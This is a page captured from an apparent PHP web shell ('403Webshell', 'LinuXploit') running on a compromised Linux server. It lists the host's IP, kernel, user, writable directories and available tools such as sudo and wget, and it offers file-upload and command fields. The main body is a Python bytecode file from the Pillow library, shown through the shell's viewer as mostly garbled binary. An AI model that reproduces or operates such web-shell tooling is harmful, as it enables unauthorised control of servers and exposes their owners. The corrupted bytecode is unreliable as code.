403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/PIL/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/PIL/__pycache__/ImageStat.cpython-311.pyc
�

�"�cT��<�ddlZddlZddlZGd�d��ZeZdS)�Nc�R�eZdZd
d�Zd�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�Zd�Z
dS)�StatNc�f�	|r|�|��|_n|���|_n#t$r
||_YnwxYwt|jt��sd}t|���t	t
t|j��dz����|_dS)Nz$first argument must be image or list�)	�	histogram�h�AttributeError�
isinstance�list�	TypeError�range�len�bands)�self�
image_or_list�mask�msgs    �//usr/lib/python3/dist-packages/PIL/ImageStat.py�__init__z
Stat.__init__s���	#��
3�&�0�0��6�6����&�0�0�2�2������	#�	#�	#�"�D�F�F�F�	#�����$�&�$�'�'�	!�8�C��C�.�.� ��%��D�F���s� 2�3�3�4�4��
�
�
s�69�A
�A
c��|dd�dkrt|���t|d|z����}t|||��|S)zCalculate missing attributeN��_get)r	�getattr�setattr)r�id�vs   r�__getattr__zStat.__getattr__+sU��
�b�q�b�6�V��� ��$�$�$�&�G�D�&�2�+�&�&�(�(����b�!������c��d�}g}tdt|j��d��D]-}|�||j|d������.|S)z-Get min/max values for each band in the imagec��d}d}td��D]*}||r t||��}t||��}�+||fS)N�rr)r
�min�max)r�n�x�is    r�minmaxz Stat._getextrema.<locals>.minmax7sQ���A��A��3�Z�Z�
"�
"���Q�<�"��A�q�	�	�A��A�q�	�	�A���a�4�KrrrN�r
rr�append)rr'rr&s    r�_getextremazStat._getextrema4si��	�	�	�
���q�#�d�f�+�+�s�+�+�	)�	)�A�
�H�H�V�V�D�F�1�2�2�J�'�'�(�(�(�(��rc
���g}tdt|j��d��D]D}|�t	jtj|j||dz������E|S)z(Get total number of pixels in each layerrr)r
rrr)�	functools�reduce�operator�add�rrr&s   r�	_getcountzStat._getcountEsf��
���q�#�d�f�+�+�s�+�+�	J�	J�A�
�H�H�Y�%�h�l�D�F�1�q�3�w�;�4G�H�H�I�I�I�I��rc���g}tdt|j��d��D]A}d}td��D]}|||j||zzz
}�|�|���B|S)z#Get sum of all pixels in each layerrr�r()rrr&�	layer_sum�js     r�_getsumzStat._getsumMs{��
���q�#�d�f�+�+�s�+�+�	 �	 �A��I��3�Z�Z�
/�
/���Q����A���.�.�	�	�
�H�H�Y������rc	���g}tdt|j��d��D]Q}d}td��D](}||dzt|j||z��zz
}�)|�|���R|S)z+Get squared sum of all pixels in each layerrrr3�)r
rr�floatr))rrr&�sum2r5s     r�_getsum2z
Stat._getsum2Xs���
���q�#�d�f�+�+�s�+�+�	�	�A��D��3�Z�Z�
6�
6����A���t�v�a�!�e�}�!5�!5�5�5���
�H�H�T�N�N�N�N��rc�z�g}|jD]0}|�|j||j|z���1|S)z&Get average pixel level for each layer)rr)�sum�countr0s   r�_getmeanz
Stat._getmeancsE��
����	2�	2�A�
�H�H�T�X�a�[�4�:�a�=�0�1�1�1�1��rc���g}|jD][}d}|j|dz}|dz}td��D]}||j||zz}||krn�|�|���\|S)z%Get median pixel level for each layerrr8r)rr>r
rr))rrr&�s�half�br5s       r�
_getmedianzStat._getmedianks���
����	�	�A��A��:�a�=�A�%�D��C��A��3�Z�Z�
�
�����q�1�u�
�%���t�8�8��E��
�H�H�Q�K�K�K�K��rc��g}|jD]B}|�tj|j||j|z�����C|S)zGet RMS for each layer)rr)�math�sqrtr:r>r0s   r�_getrmszStat._getrmszsO��
����	>�	>�A�
�H�H�T�Y�t�y��|�d�j��m�;�<�<�=�=�=�=��rc��g}|jD]F}|j|}|�|j||j|dz|zz
|z���G|S)zGet variance for each layerg@)rr>r)r:r=)rrr&r$s    r�_getvarzStat._getvar�sa��
����	D�	D�A��
�1�
�A�
�H�H�d�i��l�d�h�q�k�S�&8�A�%=�=��B�C�C�C�C��rc��g}|jD]4}|�tj|j|�����5|S)z%Get standard deviation for each layer)rr)rFrG�varr0s   r�
_getstddevzStat._getstddev�sD��
����	-�	-�A�
�H�H�T�Y�t�x��{�+�+�,�,�,�,��r)N)�__name__�
__module__�__qualname__rrr*r1r6r;r?rDrHrJrM�rrrrs�������5�5�5�5�������"���	�	�	�	�	�	����
�
�
�����������rr)r,rFr.r�GlobalrQrr�<module>rSsa��0������������t�t�t�t�t�t�t�t�n
���r

Youez - 2016 - github.com/yon3zu
LinuXploit